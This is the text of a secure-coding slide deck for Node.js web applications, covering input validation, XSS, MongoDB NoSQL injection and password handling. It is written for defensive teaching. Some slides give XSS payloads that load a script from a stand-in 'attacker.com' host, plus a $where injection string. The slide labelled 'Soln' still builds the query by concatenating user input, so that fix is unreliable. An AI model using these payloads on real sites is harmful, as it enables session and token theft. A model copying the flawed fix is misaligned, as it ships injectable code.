Secure coding is the practice of developing computer software in a way that guards against the accidental introduction of security vulnerabilities. Defects, bugs and logic flaws are consistently the primary cause of commonly exploited software vulnerabilities. Through the analysis of thousands of reported vulnerabilities, security professionals have discovered that most vulnerabilities stem from a relatively small number of common software programming errors. By identifying the insecure coding practices that lead to these errors and educating developers on secure alternatives, organizations can take proactive steps to help significantly reduce or eliminate vulnerabilities in software before deployment. Session by: Akash S Prakash

1. Secure Coding
Practices
Akash S Prakash, Neoito

2. How secure do you think this is ?
function add(a,b) {
c = a+b;
return c;
}

3. Why secure coding?
1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-
breaches-hacks/
2. https://en.wikipedia.org/wiki/Heartbleed
(https://tools.ietf.org/html/rfc6520)
(https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504)
3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln
erability

4. Golden Rule of Web Security
Never trust User Input!

5. How user Input should be viewed

6. Input Validations
“ All client input is hostile until proven otherwise or sanitized. “
● Perform client-side and server-side user input validations.
● Constrain, reject and sanitize input.
● The range of valid data is generally a more finite set than the range of
potentially malicious input.
● Constrain input for type, length, format, and range.
● Never directly inject user content into responses

7. ● Validate all client provided data before processing, including all
parameters, URLs and HTTP header
Content
● Validate all input against a whitelist of allowed characters, whenever
possible
● Validate for expected data types:
○ const userInputAge = '32';
const userAge = Number.parseInt(userInputAge);
console.log('User is %d years old', userAge);
// User is 32 years old
● Use actively maintained validation modules than reduce use of custom
Regex for common purpose
Eg: email validations

8. Input entry points
● Query Parameters
● URL path
● PUT/POST parameters
● Cookies
● Headers
● File uploads
● Emails
● Form fields
● Web sockets

9. File Uploads
● All file uploads should be subjected to strict validation
● Node.js suggest multer
● Store uploaded files on Specific location:
○ Uploaded files should be stored in specific location without execution privilages and
directory listing
● Check file size and type before saving to storage. Never rely on file
extension
● Do not execute user uploaded content(Unless under a gun point, duh!)
○ If at gunpoint, use a library like Jailed that runs code in sandbox mode

10. Post Validation Actions
● Enforcement Actions:
○ Notify user the input failed to comply with the requirements and should be modified
○ Modify user submitted data on server side without notifying the user
● Advisory Action:
○ Allows unchanged data but inform the user that there was issues with the entered data
● Verification Action:
○ Suggest changes in the user input. User chooses whether to keep the data or change it
Eg: Billing forms

11. Sanitization
Sanitization refers to the process of removing or replacing submitted data.
When dealing with data, after the proper validation checks have been made,
an additional step which tends to be taken in order to strengthen data safety
is sanitization.
● Convert Single Less-Than Characters < to Entity
● Remove Line Breaks, Tabs and Extra White Space
● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected

12. Output Encoding
● Cross-Site Scripting (XSS)
● NoSQL Injection

13. Cross-Site Scripting
● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent
attacks involving web applications and JavaScript
● Types:
○ Server XSS - when untrusted data is included in an HTML response generated by the
server
○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call

14. ● Server XSS
○ Occurs when untrusted data is included in an HTML response generated by the server
○ https://www.google.pt/search?q=JS+SCP
■ No results found for "JS SCP"
○ https://www.google.pt/search?q=<script>alert(XSS)</script>
■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p>
○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker.
com/ms.js",document.body.appendChild(s);<%2Fscript>
const express = require('express');
const db = require('../lib/db');
const router = express.Router();
router.get('/search', (req, res) => {
const results = db.search(req.query.q);
if (results.length === 0) {
return res.send('<p>No results found for "' + req.query.q + '"</p>');
}
});

15. ● Client XXS
○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '')
+ '"></scr'+'ipt>');
○ location.search.split is not properly escaped, the req parameter can be manipulated by
an attacker to retrieve malicious JavaScript from a location he/she is in control of,
injecting it into the web page of which the victim is visiting
○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js
○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad
snippet, making it run in the www.example.com context.
○ Initial step of a Session Hijacking attack as an attacker's script may have access to the
session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON
Web Token (JWT) may be found

16. Cross-Site Scripting Prevention
● Nodejs:
○ Both encodeURI and encodeURIComponent functions are available on Node.js global
scope , but more specialized packages like the xss-filters
var express = require('express');
var app = express();
var xssFilters = require('xss-filters');
app.get('/', function(req, res){
var firstname = req.query.firstname; //an untrusted input
collected from user
res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname)
+ '!</h1>');
});
app.listen(3000);

17. ● Angular:
○ Angular already has some built-in protections to help developers dealing with output
encoding and XSS mitigation
○ By default, all values are considered untrusted/unsafe. This means that whenever a value
is inserted into the DOM from a template , property , attribute , style , class binding or
interpolation Angular sanitizes and escapes it
○ https://angular.io/guide/security

18. NoSQL Injection
● MongoDB
○ Whenever an application accepts user input as query parameters, malicious content can
be injected into the database unless some steps are taken to prevent it.
○ These three operations that allow arbitrary JavaScript expressions to run directly
on the server:
■ $where
■ mapReduce
■ group

19. ● This query returns the document whose UserID is equal to the
req.query.id value
● Making req.query.id equals to 0; return true will lead to the
expression this.UserID = 0; return true which is the NoSQL equivalent
to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1
● Soln:
const dbQuery = {
$where: 'this.UserID = ' + req.query.id
}
db.Users.find(dbQuery);
const dbQuery = {
$where: 'this.UserID = new Number(' + req.query.id + ')'
}
db.Users.find(dbQuery);

20. Authentication and Password Management
● All authentication controls must be enforced on a trusted system
● Utilize standard and tested authentication controls
○ Eg: Passport
● Password entry should be obscured on user's screen but also the
remember me functionality should be disabled
○ <input type="password" name="passwd" autocomplete="off" />
● Communicating Authentication Data
○ Authentication credentials should be sent on HTTP POST requests only
○ When handling authentication errors, your application should not disclose which part of
the authentication data was incorrect
○ Who is registered - "invalid password" means that the username exists
○ How your system works - "invalid password" reveals how your application works

21. ● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc)
○ http://md5decrypt.net/en/Sha1/
● Always use salt for encryption
● Do not use the same salt for whole application
● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and
Scrypt
● Enforce password complexity requirements
● Passwords should be at least one day old before they can be changed
● Express-brute package for express allows request slowdown (after 5 failed
logins), as well as setting a daily maximum login attempt
number (1000)

22. ● Enforce account disabling after an established number of invalid login
attempts (e.g., five attempts is common). The account must be disabled
for a period of time sufficient to discourage brute force guessing of
credentials, but not so long as to allow for a denial-of-service attack to be
performed

23. Error Handling and Logging
● Information, no matter how insignificant is seems, matters a lot in web
world.

24. References
● https://github.com/Checkmarx/JS-SCP/blob/master/build/js-webapp-scp.p
df
● https://www.slideshare.net/OWASPKerala/owasptalk-46926597

25. Thank you.